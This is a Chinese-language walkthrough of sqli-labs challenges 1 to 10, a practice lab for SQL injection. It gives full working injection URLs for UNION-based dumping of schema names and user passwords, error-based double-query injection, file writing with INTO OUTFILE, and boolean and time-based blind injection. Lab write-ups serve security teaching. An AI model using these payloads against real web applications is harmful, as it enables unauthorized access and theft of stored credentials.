Challenge 1:
手动加上参数id=1,然后自己手动加上',先测试他是什么类型,有可能数字参数,字符参数等,不一样。
这里顺便说一下mysql注释符号1.# 2.--+ 3./*...*/
图一结果如下:
图二发现limit0,1那里的1多了一个单引号,说明是字符型注入,所以直接上
图三order by后面的需要加入数字,尽量从大数开始,比如order by 3能成功,order by 4不能成功,因此说明字段数为3.
其实这里应该这么理解,因为他是字符型注入,所以需要闭合,因此我们加上'他会出错,所以可以直接判断为字符型参数。而出现错误,说明他没有处理单引号,所以有可能出现sql注入。
首先获取数据库名称,构造payload如下所示:
http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20UNION%20SELECT%201,GROUP_CONCAT(SCHEMA_NAME),3%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20--+
结果如下:
图四这里注意一下,union查询是用于合并两个或多个查询语句的结果集,但是输出只有两个位置,因此前面的id不能为真,因为如果是真的话会出现后面的位置无法输出,因此这里的id=0'或者id=99999'都是可以的。
接着获取表名:
payload: http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20UNION%20SELECT%201,GROUP_CONCAT(TABLE_NAME),3%20FROM%20INFORMATION_SCHEMA.TABLES%20%20where%20table_schema=0x7365637572697479--+
其中table_schema为“security”的十六进制表示,结果如下所示:
图五接着获取列名:
payload: http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20UNION%20SELECT%201,GROUP_CONCAT(COLUMN_NAME),3%20FROM%20INFORMATION_SCHEMA.COLUMNS%20%20where%20table_name=0x7573657273--+
图六接着获取数据:
payload:http://43.245.223.123/sqli-labs/Less-1/?id=0%27%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users%20--+
结果如下所示:
图七Challenge 2:
这道题目是基于整数的注入,按照第一道题目的思路,我们可以加上payload:id=1'发现出错,然后
再试下注释后面额东西,payload如下:id=1'--+发现还是出错,就说明是肯定不是字符型,为整数型,
图八我们顺便科普一下两个函数,一个是group_concat:将列进行合并为一列,一个是concat:连接两个或者多个不为一列的数组。。
接着获取数据库名称,payload如下所示:
http://43.245.223.123/sqli-labs/Less-2/?id=99%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20--+
如图:
图九接着获取表名:
payload构造如下所示:
图十接着获取字段名:
payload如下所示:
http://43.245.223.123/sqli-labs/Less-2/?id=99%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%22users%22%20--+
上图:
图十一接着获取数据:
payload:构造如下
http://43.245.223.123/sqli-labs/Less-2/?id=99%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users%20--+
结果如下:
图12Challenge 3:
第三个题目是单引号加上括号类型,主要是加上id=1时候没出问题,然后用\来测试,发现如下:
图13发现报错里面是有括号还有这是字符串类型,所以可以直接构造payload:?id=1')--+直接就可以了。
然后就是获取信息,payload构造如下所示:
http://43.245.223.123/sqli-labs/Less-3/?id=0%27)%20union%20select%201,group_concat(username,0x3a,password,0x20),3%20from%20security.users--+
然后就是结果如下:
图14这里注意注意一个问题,前面的id一定要等于一个不存在的值!!!!!!!
Challenge 4:
第四题经过题目提示是双引号字符串,然后我试了一下,如下:
图14我先试了一下,发现是有括号的参数输入,然后就是
图15没加上注释符号出错,加上注释符号就可以了说明后面被注释掉了,所以这么做是能成功绕过的。
Challenge 5:
这里更新一些Mysql的数据操作,上几张图:
图八show databases; use database_name; #记得后面都要加上;来结束
展示表的细节是desc table_name; 查询某个数据库特有的表如下:
图九可以构造这样的payload:http://43.245.223.123/sqli-labs/Less-1/?id=99999%27%20union%20select%201,table_name,current_user()%20from%20information_schema.tables%20where%20table_schema=%22security%22%20--+ ,效果如下图:
图10直接得出表名和current_user,不知道数据库名称的话,可以直接用上database()代替进行了.
但这道题目的重点是要进行单引号双注入查询,因此可以进行一波操作。
图11payload如下所示:
http://43.245.223.123/sqli-labs/Less-5/?id=1%27%20union%20select%201,count(*),concat((select%20database()),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+
challenge 6:
和第五题一样,只不过包括的方式不同,主要还是训练你双查询注入,原理可以看另一篇文章
payload: http://43.245.223.123/sqli-labs/Less-6/?id=0%22%20union%20select%201,count(*),concat((select%20database()),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+
如下图:
图12challenge 7:
第七题权限不够,实现不了,不过可以写写如何做,主要有两个条件,首先要知道secure-file-priv的值,linux下面是放在my.cnf中,这文件在/etc下面,然后就是要有root权限,或者这题目里面应该说是写权限,才能成功执行该语句,payload如下:
http://43.245.223.123/sqli-labs/Less-7/?id=1%22%20union%20select%201,2,database()%20into%20%20outfile%20%221.txt%22--+
challenge 8:
这道题目是基于布尔值的盲注,主要是你不能看到什么报错信息,因此只能通过简单的网页显示对错来判断,你可以构造如下payload: http://43.245.223.123/sqli-labs/Less-8/?id=1%27%20and%20ascii(substr((select%20database()),1,1))%3C90--+
先猜数据库名称长度,再猜名字字母,再猜数据库表什么的,后面的就用sqlmap了。
图十三 图十四challenge 9:
这道题目主要是基于时间盲注,最常用的函数是if函数和sleep函数,用法如下:
图十五主要用and来连接,理解了就没啥好说的。
Challenge 10:
图16这道题是双引号闭合,没啥说的。
网友评论